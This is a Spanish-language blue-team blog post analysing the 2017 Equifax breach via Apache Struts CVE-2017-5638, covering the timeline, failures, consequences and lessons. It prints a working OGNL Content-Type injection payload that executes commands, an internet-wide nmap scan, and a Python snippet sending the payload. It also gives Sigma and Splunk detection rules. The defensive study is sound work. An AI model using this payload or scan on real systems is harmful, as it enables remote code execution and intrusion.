Equifax (2017): 147 millones de registros expuestos

Cómo una vulnerabilidad de Apache Struts sin parchear causó la mayor brecha de datos en la historia.

Blue Team3 min de lectura
Compartir:

Equifax (2017): 147 millones de registros expuestos

La brecha

Fecha: Mayo - Julio 2017 (descubierta el 29 de julio)
Víctimas: 147 millones de personas (USA, UK, Canadá)
Datos robados:

  • Nombres completos
  • Números de seguro social (SSN)
  • Fechas de nacimiento
  • Direcciones
  • 209,000 números de tarjetas de crédito

La vulnerabilidad

CVE-2017-5638 (Apache Struts)

Tipo: Remote Code Execution (RCE)
Vector: Content-Type header malformado

POST /struts2-showcase/upload.action HTTP/1.1
Content-Type: %{(#_='multipart/form-data').
  (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
  (#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
  (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
  (#ognlUtil.getExcludedPackageNames().clear()).
  (#ognlUtil.getExcludedClasses().clear()).
  (#context.setMemberAccess(#dm)))).
  (#cmd='whoami').
  (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
  (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
  (#p=new java.lang.ProcessBuilder(#cmds)).
  (#p.redirectErrorStream(true)).(#process=#p.start())}

Resultado: Ejecución remota de comandos.

Timeline del desastre

7 marzo 2017: Apache publica parche (CVE-2017-5638)
    ↓
9 marzo 2017: Equifax recibe alerta de seguridad
    ↓
10 marzo 2017: Equifax NO PARCHEA
    ↓
Mayo 2017: Atacantes explotan vulnerabilidad
    ↓
29 julio 2017: Equifax descubre la brecha
    ↓
7 septiembre 2017: Anuncio público (40 días después)

Gap crítico: 4 meses sin parchear una vulnerabilidad crítica.

¿Cómo entró el atacante?

Fase 1: Reconocimiento

# Escaneo masivo de internet
nmap -sV -p 80,443 --script http-vuln-cve2017-5638 0.0.0.0/0

Fase 2: Explotación

# Exploit público disponible en ExploitDB
import requests

payload = "%{(#_='multipart/form-data')..."
headers = {'Content-Type': payload}
requests.post('https://equifax.com/vulnerable-endpoint', headers=headers)

Fase 3: Lateral Movement

Web server comprometido
    ↓
Acceso a red interna
    ↓
Credenciales en texto plano (!)
    ↓
Acceso a 51 bases de datos
    ↓
Exfiltración por 76 días

Fallas de seguridad

  1. Patch Management nulo

    • 4 meses sin aplicar parche crítico
    • No había inventario de software
  2. Credenciales débiles

    • Bases de datos con usuario admin / admin
    • Sin MFA (multi-factor authentication)
  3. Segmentación de red inexistente

    • Un servidor comprometido = acceso a todo
  4. Cifrado en reposo ausente

    • Datos sensibles en texto plano
  5. Monitoreo deficiente

    • Exfiltración de 9 GB durante 76 días sin detectar

Consecuencias

Legales

  • $700 millones en acuerdos legales
  • CEO renunció
  • CIO y CSO despedidos

Reputacionales

  • Pérdida de confianza total
  • Acciones cayeron 30%

Detección (si hubiera existido)

Regla Sigma para CVE-2017-5638

title: Apache Struts CVE-2017-5638 Exploitation
detection:
  selection:
    http.request.headers.content-type|contains:
      - '%{'
      - 'ognl'
      - '@java.lang'
  condition: selection

Splunk query

index=web sourcetype=access_combined
| search cs_content_type="*%{*" OR cs_content_type="*ognl*"
| stats count by src_ip, dest_ip, uri

Lecciones aprendidas

  1. Patch Management es CRÍTICO

    • Vulnerabilidades críticas deben parchearse en 24-48h
    • Inventario de software actualizado
  2. Defense in Depth

    • WAF (Web Application Firewall)
    • IDS/IPS
    • Segmentación de red
  3. Cifrado de datos en reposo

    • Datos sensibles NUNCA en texto plano
  4. Monitoreo y alertas

    • SIEM con alertas en tiempo real
    • DLP (Data Loss Prevention)

#Equifax #DataBreach #ApacheStruts #CVE #BlueTeam #IR